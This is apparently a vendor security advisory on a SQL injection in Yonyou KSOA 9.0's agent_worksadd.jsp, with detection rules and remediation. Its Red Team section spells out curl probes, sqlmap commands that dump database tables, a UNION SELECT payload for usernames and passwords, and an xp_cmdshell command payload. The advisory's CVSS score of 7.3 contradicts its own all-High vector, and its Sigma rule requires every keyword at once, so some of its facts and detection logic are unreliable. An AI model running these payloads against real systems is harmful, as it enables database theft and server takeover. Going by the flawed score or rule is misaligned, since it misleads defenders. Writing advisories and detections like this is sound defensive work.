CVE-2025-15421

Executive Summary

CVE-2025-15421 is a critical SQL injection vulnerability in Yonyou KSOA 9.0, specifically within the /worksheet/agent_worksadd.jsp endpoint. The vulnerability is triggered by manipulating the ID HTTP GET parameter, allowing an unauthenticated remote attacker to execute arbitrary SQL commands against the underlying database. With a CVSS score of 7.3, this flaw poses a significant risk to data confidentiality, integrity, and availability. The exploit has been publicly disclosed, and no official patch or vendor response has been received, leaving all instances of Yonyou KSOA 9.0 exposed. This report provides a comprehensive technical analysis, detection methods, and mitigation strategies.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Yonyou KSOA). The supply chain risk is limited to the direct deployment of the vulnerable software version.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full database read access possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using Yonyou KSOA 9.0.

Deep Dive & Mechanics

The vulnerability resides in the agent_worksadd.jsp file, which is part of the Yonyou KSOA (Knowledge Service Office Automation) suite. The application fails to sanitize or parameterize the ID parameter passed via HTTP GET request. This allows an attacker to inject arbitrary SQL statements.

Root Cause: The application likely constructs a SQL query by directly concatenating the user-supplied ID parameter into the query string. For example:

SELECT * FROM works WHERE id = ' + request.getParameter("ID") + '

This classic SQL injection pattern allows an attacker to break out of the intended SQL syntax and execute malicious commands.

Attack Flow:

1. Attacker identifies a target running Yonyou KSOA 9.0.
2. Attacker sends a crafted HTTP GET request to /worksheet/agent_worksadd.jsp?ID=1' OR '1'='1.
3. The application processes the request and executes the injected SQL.
4. The attacker can then extract data, modify records, or execute database commands (e.g., xp_cmdshell on SQL Server).

Potential Impact:

• Data Exfiltration: Stealing sensitive business data, user credentials, or intellectual property.
• Data Manipulation: Altering or deleting critical records.
• Privilege Escalation: Gaining administrative access to the database.
• Lateral Movement: Using database access to pivot to other internal systems.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on secure coding best practices.

Vulnerable Code (Conceptual):

String id = request.getParameter("ID");
String query = "SELECT * FROM works WHERE id = '" + id + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Conceptual - Parameterized Query):

String id = request.getParameter("ID");
String query = "SELECT * FROM works WHERE id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, id);
ResultSet rs = pstmt.executeQuery();

Key Difference: The patched version uses a PreparedStatement with a parameterized query, which treats the user input as data, not executable code. This prevents SQL injection entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Yonyou KSOA 9.0.
• Network access to the /worksheet/agent_worksadd.jsp endpoint.
• A tool like sqlmap or curl.

Exploitation Steps:

1. Basic Injection Test:

   curl "http://target.com/worksheet/agent_worksadd.jsp?ID=1'"
   

   If an error is returned (e.g., SQL syntax error), the endpoint is vulnerable.

2. Boolean-Based Blind Injection:

   curl "http://target.com/worksheet/agent_worksadd.jsp?ID=1' AND '1'='1"
   curl "http://target.com/worksheet/agent_worksadd.jsp?ID=1' AND '1'='2"
   

   Compare responses to infer true/false conditions.

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/worksheet/agent_worksadd.jsp?ID=1" --batch --dbs
   

4. Extracting Data:

   sqlmap -u "http://target.com/worksheet/agent_worksadd.jsp?ID=1" --batch -D <database> --tables
   sqlmap -u "http://target.com/worksheet/agent_worksadd.jsp?ID=1" --batch -D <database> -T <table> --dump
   

Example Payloads:

• ID=1' UNION SELECT null,username,password,null FROM users--
• ID=1'; EXEC xp_cmdshell 'whoami'-- (if SQL Server)

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for suspicious patterns in HTTP requests to /worksheet/agent_worksadd.jsp.

   • Multiple requests with varying ID values.
   • Requests containing SQL keywords (UNION, SELECT, OR, AND, --, ').
   • Requests with encoded characters (%27 for single quote).

2. Network Traffic Analysis: Use a WAF or IDS to inspect HTTP GET parameters for SQL injection patterns.

3. Database Monitoring: Enable database auditing to detect anomalous queries originating from the application user.

4. Immediate Mitigation:

   • Block access to /worksheet/agent_worksadd.jsp via WAF or reverse proxy.
   • If possible, disable the vulnerable functionality until a patch is available.
   • Implement input validation and parameterized queries in the application code.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /worksheet/agent_worksadd.jsp with unusual ID parameter values.
• Requests containing SQL injection patterns (e.g., ' OR '1'='1, UNION SELECT, --).
• Outbound database connections from the application server to unexpected IPs (data exfiltration).

File IOCs:

• Modified or new files in the application directory (e.g., web shells).
• Unusual database dump files on the server.

Log IOCs:

• Application logs showing SQL errors (e.g., java.sql.SQLSyntaxErrorException).
• Database logs showing queries with injected SQL syntax.
• Web server logs with repeated 500 errors on the vulnerable endpoint.

Behavioral IOCs:

• Unusual database activity (e.g., large data transfers, xp_cmdshell execution).
• Unexpected user accounts created in the database.
• Application performance degradation due to heavy SQL queries.

Detection Engineering

YARA Rule

rule CVE_2025_15421_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15421 in Yonyou KSOA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15421"
    strings:
        $s1 = "/worksheet/agent_worksadd.jsp" nocase
        $s2 = "ID=" nocase
        $sqli1 = "' OR '" ascii wide
        $sqli2 = "UNION SELECT" ascii wide
        $sqli3 = "1=1" ascii wide
        $sqli4 = "xp_cmdshell" ascii wide
    condition:
        $s1 and $s2 and 1 of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou KSOA agent_worksadd.jsp
id: 7a3b9c1d-2e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-15421
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/worksheet/agent_worksadd.jsp"
            - "ID="
        cs-uri-query|contains|all:
            - "'"
            - "OR"
            - "AND"
            - "UNION"
            - "SELECT"
            - "1=1"
            - "1=2"
            - "--"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-15421 - SQL Injection Attempt on Yonyou KSOA agent_worksadd.jsp";
    flow:to_server,established;
    content:"/worksheet/agent_worksadd.jsp"; http_uri;
    content:"ID="; http_uri;
    pcre:"/(\%27|')(\%4F|O)(\%52|R).*(\%31|1)(\%3D|=)(\%31|1)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate Vulnerable Systems: If possible, disconnect the Yonyou KSOA server from the network or restrict access to trusted IPs only.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing SQL injection patterns to /worksheet/agent_worksadd.jsp.
3. Disable Endpoint: If the functionality is not critical, remove or rename the agent_worksadd.jsp file.

Long-Term Remediation:

1. Vendor Patch: Continuously monitor Yonyou for an official security patch. Apply it immediately when released.
2. Code Review: Conduct a thorough security audit of the application code, focusing on all database interactions. Implement parameterized queries or stored procedures.
3. Upgrade: Consider upgrading to a newer, patched version of KSOA if available.
4. Security Hardening:
   • Implement least privilege for the database user used by the application.
   • Enable database auditing and logging.
   • Regularly scan for vulnerabilities using automated tools.

Compensating Controls:

• Network Segmentation: Place the KSOA server in a DMZ with strict firewall rules.
• Input Validation: Implement server-side validation for all input parameters (allow only alphanumeric characters if possible).
• Error Handling: Configure the application to return generic error messages instead of SQL errors.

Valters IT
Securing Digital Frontiers